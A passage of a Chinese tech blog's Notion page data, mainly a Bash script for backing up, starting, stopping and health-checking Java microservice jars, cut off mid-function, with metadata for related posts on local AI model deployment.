dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","blockMap":{"block":{"38e3f997-dad9-46b8-99bb-d3042488821f":{"value":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","version":916,"type":"page","content":["30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","c4f68ef2-bdba-42b2-829c-2443f5de269d","de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","6dc7d247-2acb-4e17-979f-2751e11a4866","ec124e1d-f212-4b30-b019-6c0b3819fb0e","8513dc44-acdd-416c-9797-5a429313055a","b1f5373e-66e3-4e3b-8df6-0436ece58f30","8d59e1ac-758e-4ac1-802f-77a2dc4a345a","316c39c8-874f-4c26-8b20-c27d7df00e22","8e2a4be9-ddd0-43c8-90a1-73e5966dc430","a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","e50a06de-71d5-42a5-84f9-72dba14b6249","3f65869a-70fa-433e-bfde-8dbdca631b9f","d4c687c2-c904-4234-92df-bf86f503e4a8","1c461f9f-ebc0-408d-bd62-cd2d593df5ff","263f23a4-ae61-4c82-b821-dccdf0fa6e4c","16904fbf-692f-4688-bdc6-d6da5063475e","547f54ed-1238-4e1e-89ef-996809620f35","77b75914-f02a-4393-bd36-453671da3504","f4992d9c-05d3-458f-8626-7f69df901053","6d929a34-3041-4f19-acdb-c1db601c49dc","f5002c9f-3330-4c74-91e4-2bd2be6cc9df","714774d8-cd7a-426f-97f5-f1a0a1019e8b","d23b738a-4977-45dd-9e87-4ac4299f8a2c","dd5cbc1b-7940-4623-b4e1-372257a167fd","015bbc44-0520-411b-8c93-e8828b0241e4","8d850969-c7f1-4278-9189-7b8a880d6922","85c59e46-5afc-44f7-8d92-24dfdb79e418","6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","2c676e25-8325-4e28-a93c-2a14c18c16f9","aa4dcc52-95a6-47a4-88e5-b4275689bcda","7b911799-39b3-4e6e-8aa4-a18618a47f88","dae3dcc6-9abb-45e7-8cd0-96e67fb23514","d044fa90-43bf-464b-b804-b1952f91548b","f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","12211a14-1feb-449b-beab-abea67e70635","4fa90686-3a74-46ec-a088-962d442891e0","af722408-abb3-480e-9546-752a8866c509","0cdbdf1b-35ba-4404-9235-3d8625c1eac0","23f697fb-ec30-4920-becf-b2569bb235d0","8566becf-9f13-4e17-800f-8c73a9d69d10","6fc3b1c1-279c-4da3-9b48-a286c69a4620","ebb9c14c-4573-4673-9f41-923621db6503","5f09bd20-4152-4fbf-9234-6358f7ca9002","1af18956-4491-4646-8812-8c26899d094c","39cf1bf0-7c68-42aa-8ada-11e74af9da6e","3b508db8-425b-4c77-83d0-9eba50c4ef24","dffd5b0d-8df5-4399-96a3-63793dbd16d0","70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1706076384676,"last_edited_time":1706080726139,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c":{"value":{"id":"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c4f68ef2-bdba-42b2-829c-2443f5de269d":{"value":{"id":"c4f68ef2-bdba-42b2-829c-2443f5de269d","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7":{"value":{"id":"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","type":"callout","properties":{"title":[["微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。\n固定流程:deploy bakup xx.jar —> deploy restart xx.jar"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706078783448,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6dc7d247-2acb-4e17-979f-2751e11a4866":{"value":{"id":"6dc7d247-2acb-4e17-979f-2751e11a4866","type":"header","properties":{"title":[["命令编写步骤"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706078594772,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ec124e1d-f212-4b30-b019-6c0b3819fb0e":{"value":{"id":"ec124e1d-f212-4b30-b019-6c0b3819fb0e","type":"quote","properties":{"title":[["我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本"]]},"created_time":1706078795259,"last_edited_time":1706078854774,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8513dc44-acdd-416c-9797-5a429313055a":{"value":{"id":"8513dc44-acdd-416c-9797-5a429313055a","type":"sub_header","properties":{"title":[["配置环境变量"]]},"created_time":1706078561683,"last_edited_time":1706078585444,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"b1f5373e-66e3-4e3b-8df6-0436ece58f30":{"value":{"id":"b1f5373e-66e3-4e3b-8df6-0436ece58f30","type":"quote","properties":{"title":[["这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。"]]},"created_time":1706078608572,"last_edited_time":1706079009574,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d59e1ac-758e-4ac1-802f-77a2dc4a345a":{"value":{"id":"8d59e1ac-758e-4ac1-802f-77a2dc4a345a","type":"code","properties":{"title":[["#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=() #定义全局的PIDS数组\nWORK_DIR=( #当前程序的工作目录\n /Users/y/IdeaProjects/A-script/sh\n /home/bothsvage\n /root/prod\n )\nCHECK_LOGS=( #日志检查关键字\n \"开始订阅滚动日志\"\n \"服务启动成功\"\n \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0 # 脚本名称\nACTION=$1 # 脚本接受的第一个参数\nshift # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\" # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078585992,"last_edited_time":1706079497825,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"316c39c8-874f-4c26-8b20-c27d7df00e22":{"value":{"id":"316c39c8-874f-4c26-8b20-c27d7df00e22","type":"sub_header","properties":{"title":[["主程序"]]},"created_time":1706078558353,"last_edited_time":1706078727210,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8e2a4be9-ddd0-43c8-90a1-73e5966dc430":{"value":{"id":"8e2a4be9-ddd0-43c8-90a1-73e5966dc430","type":"quote","properties":{"title":[["首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。"]]},"created_time":1706078746157,"last_edited_time":1706079461207,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77":{"value":{"id":"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","type":"code","properties":{"title":[["\n\n#启动函数包装\nstart() {\n start_service $jar -q\n health_check $jar\n list_service $jar\n}\n#停止函数包装\nstop() {\n list_service $jar\n for pid in \"${PIDS[@]}\" ; do\n if [ ! -z \"$pid\" ]; then\n stop_service $pid\n fi\n done\n}\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n check_input $jar\n list_service $jar\n for pid in \"${PIDS[@]}\" ; do\n if [ ! -z \"$pid\" ]; then\n echo \"存在应用在运行:请使用restart命令\"\n end\n exit 0\n fi\n done\n start\n ;;\nstop)\n check_input $jar\n stop\n ;;\nrestart)\n check_input $jar\n stop\n start\n ;;\nlist)\n check_input $jar\n list_service $jar\n ;;\nbackup)\n check_input $jar\n backup $jar\n ;;\n*)\n usage\n ;;\nesac\n\nend"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078728197,"last_edited_time":1706079475022,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"e50a06de-71d5-42a5-84f9-72dba14b6249":{"value":{"id":"e50a06de-71d5-42a5-84f9-72dba14b6249","type":"sub_header","properties":{"title":[["辅助函数"]]},"created_time":1706078558353,"last_edited_time":1706079189949,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3f65869a-70fa-433e-bfde-8dbdca631b9f":{"value":{"id":"3f65869a-70fa-433e-bfde-8dbdca631b9f","type":"quote","properties":{"title":[["提示函数,检查输入参数,welcome,check_directory等,都比较简单"]]},"created_time":1706079190557,"last_edited_time":1706079231631,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d4c687c2-c904-4234-92df-bf86f503e4a8":{"value":{"id":"d4c687c2-c904-4234-92df-bf86f503e4a8","type":"code","properties":{"title":[["#使用说明\nusage() {\n echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n end\n exit 2\n}\n# 检查输入参数\ncheck_input() {\n jar=$1\n\n # list 操作接受 *.jar 作为参数\n if [[ $ACTION == \"list\" && $jar == *.jar ]]; then\n return 0\n fi\n\n # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n if [[ $ACTION != \"list\" && ($jar != *.jar || ! -f $jar) ]]; then\n echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n end\n exit 0\n fi\n}\n#欢迎脚本答应\nwelcome(){\n echo '''\n---------------------------脚本正在启动-------------------------------\n\n ████████ ██████ ███ ███ ███ ███ ██\n\n '''\n echo \" 当前脚本环境:$ENV\n\n \"\n}\n#结束脚本打印\nend(){\n echo '''\n----------------------------脚本已经完成-------------------------------\n '''\n}\n#检查当前脚本运行目录\ncheck_directory() {\n # 获取脚本的运行目录\n script_dir=$(pwd \"$0\")\n echo \"此脚本工作目录:$script_dir\"\n\n # 标识,初始为 false\n valid_dir=false\n\n # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n for dir in \"${WORK_DIR[@]}\"; do\n if [[ $script_dir == $dir* ]]; then\n valid_dir=true\n break\n fi\n done\n\n # 如果标识仍为 false,打印一条消息并退出脚本\n if ! $valid_dir; then\n echo \"不满足以下目录:${WORK_DIR[*]}. \"\n end\n exit 0\n fi\n}"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079064487,"last_edited_time":1706079147252,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"1c461f9f-ebc0-408d-bd62-cd2d593df5ff":{"value":{"id":"1c461f9f-ebc0-408d-bd62-cd2d593df5ff","type":"sub_header","properties":{"title":[["动态设置JVM参数"]]},"created_time":1706078558353,"last_edited_time":1706079178393,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"263f23a4-ae61-4c82-b821-dccdf0fa6e4c":{"value":{"id":"263f23a4-ae61-4c82-b821-dccdf0fa6e4c","type":"quote","properties":{"title":[["根据env环境变量和jar包的名称动态设置JVM的堆内存"]]},"created_time":1706079238216,"last_edited_time":1706079271554,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"16904fbf-692f-4688-bdc6-d6da5063475e":{"value":{"id":"16904fbf-692f-4688-bdc6-d6da5063475e","type":"code","properties":{"title":[["# 设置 JVM_OPTS\nset_jvm_opts() {\n jar=$1\n filename=$(basename -- \"$jar\")\n #生产环境\n if [[ $ENV == \"prod\" ]]; then\n # 检查文件名是否包含 \"bothsavage\"\n if [[ $filename == *\"bothsavage\"* ]]; then\n export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n else\n export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n fi\n #非生产环境\n else\n # 检查文件名是否包含 \"bothsavage\"\n if [[ $filename == *\"bothsavage\"* ]]; then\n export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n else\n export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n fi\n fi\n\n}"]],"language":[["Bash"]]},"created_time":1706079184196,"last_edited_time":1706079184490,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"547f54ed-1238-4e1e-89ef-996809620f35":{"value":{"id":"547f54ed-1238-4e1e-89ef-996809620f35","type":"sub_header","properties":{"title":[["根据jar包获取正在运行的pid列表"]]},"created_time":1706078558353,"last_edited_time":1706079306876,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"77b75914-f02a-4393-bd36-453671da3504":{"value":{"id":"77b75914-f02a-4393-bd36-453671da3504","type":"quote","properties":{"title":[["就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid"]]},"created_time":1706079519891,"last_edited_time":1706079586592,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4992d9c-05d3-458f-8626-7f69df901053":{"value":{"id":"f4992d9c-05d3-458f-8626-7f69df901053","type":"code","properties":{"title":[["#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto \nlist_service() {\n echo \"获取程序运行中:$jar\"\n # 使用ps和grep获取包含jar包名的进程\n local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i<=NF; i++) printf $i \" \"; print \"\"}')\n\n # 逐行读取lines变量的值\n while IFS= read -r line; do\n # 使用空格将行切割为数组\n array=($line)\n\n # 第一个元素是PID\n pid=${array[0]}\n\n # 剩下的元素是命令行参数\n cmdline=${line#\"$pid \"} # 使用参数扩展移除PID\n cmdline_cut=$(echo $cmdline | cut -c 1-150) # 保留前50个字符\n\n # 只在找到进程时打印信息\n if [ ! -z \"$pid\" ]; then\n printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\" # 格式化输出\n PIDS+=(\"$pid\")\n fi\n done <<< \"$lines\"\n\n # 如果没有找到任何服务,打印提示信息\n if [ -z \"$lines\" ]; then\n echo \"没有进程包含有:$1\"\n fi\n}\n"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079292351,"last_edited_time":1706079503420,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6d929a34-3041-4f19-acdb-c1db601c49dc":{"value":{"id":"6d929a34-3041-4f19-acdb-c1db601c49dc","type":"sub_header","properties":{"title":[["停止服务"]]},"created_time":1706078558353,"last_edited_time":1706079332768,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f5002c9f-3330-4c74-91e4-2bd2be6cc9df":{"value":{"id":"f5002c9f-3330-4c74-91e4-2bd2be6cc9df","type":"quote","properties":{"title":[["使用kill -15来杀程序,如果超过60s,就直接kill -9"]]},"created_time":1706079599759,"last_edited_time":1706079675701,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"714774d8-cd7a-426f-97f5-f1a0a1019e8b":{"value":{"id":"714774d8-cd7a-426f-97f5-f1a0a1019e8b","type":"code","properties":{"title":[["#停止服务\nstop_service() {\n local pid=$1\n echo \"开始停止程序中: $pid\"\n kill -15 \"$pid\"\n\n # 等待程序结束\n for i in $(seq 60); do\n # 检查进程是否还在运行\n if ! ps -p \"$pid\" > /dev/null; then\n echo \"停止程序已完成:$pid\"\n return 0\n fi\n # 等待一秒\n sleep 1\n done\n\n # 如果程序还在运行,发送 SIGKILL\n echo \"程序仍在运行,发送 SIGKILL\"\n kill -9 \"$pid\"\n}\n"]],"language":[["Bash"]]},"created_time":1706079340376,"last_edited_time":1706079353272,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d23b738a-4977-45dd-9e87-4ac4299f8a2c":{"value":{"id":"d23b738a-4977-45dd-9e87-4ac4299f8a2c","type":"sub_header","properties":{"title":[["启动服务"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079425809,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"dd5cbc1b-7940-4623-b4e1-372257a167fd":{"value":{"id":"dd5cbc1b-7940-4623-b4e1-372257a167fd","type":"quote","properties":{"title":[["这里无非就是组装最终运行的部署语句"]]},"created_time":1706079679340,"last_edited_time":1706079706468,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"015bbc44-0520-411b-8c93-e8828b0241e4":{"value":{"id":"015bbc44-0520-411b-8c93-e8828b0241e4","type":"code","properties":{"title":[["#启动服务\nstart_service(){\n set_jvm_opts $jar\n filename=$(basename -- \"$jar\")\n export SW_AGENT_NAME=\"${filename%.*}\"\n output=\"/dev/null\"\n nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\n echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\"\n # 检查是否有 -q 参数\n if [ \"$2\" == \"-q\" ]\n then\n echo \"部署语句已执行:$jar\"\n else\n tail -f $output\n fi\n}\n"]],"language":[["Bash"]]},"created_time":1706079370651,"last_edited_time":1706079429534,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d850969-c7f1-4278-9189-7b8a880d6922":{"value":{"id":"8d850969-c7f1-4278-9189-7b8a880d6922","type":"sub_header","properties":{"title":[["启动完成检查"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079391937,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"85c59e46-5afc-44f7-8d92-24dfdb79e418":{"value":{"id":"85c59e46-5afc-44f7-8d92-24dfdb79e418","type":"quote","properties":{"title":[["由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控"]]},"created_time":1706079710439,"last_edited_time":1706079779024,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936":{"value":{"id":"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","type":"code","properties":{"title":[["#健康检查\nhealth_check() {\n exptime=0\n\n while true; do\n for log in \"${CHECK_LOGS[@]}\"; do\n if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n echo -e \"\\n服务已成功启动: $jar\"\n return 0\n fi\n done\n if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n echo -e \"\\n服务启动检查超时,请手动检查\"\n break\n else\n echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n fi\n\n sleep 1\n ((exptime++))\n 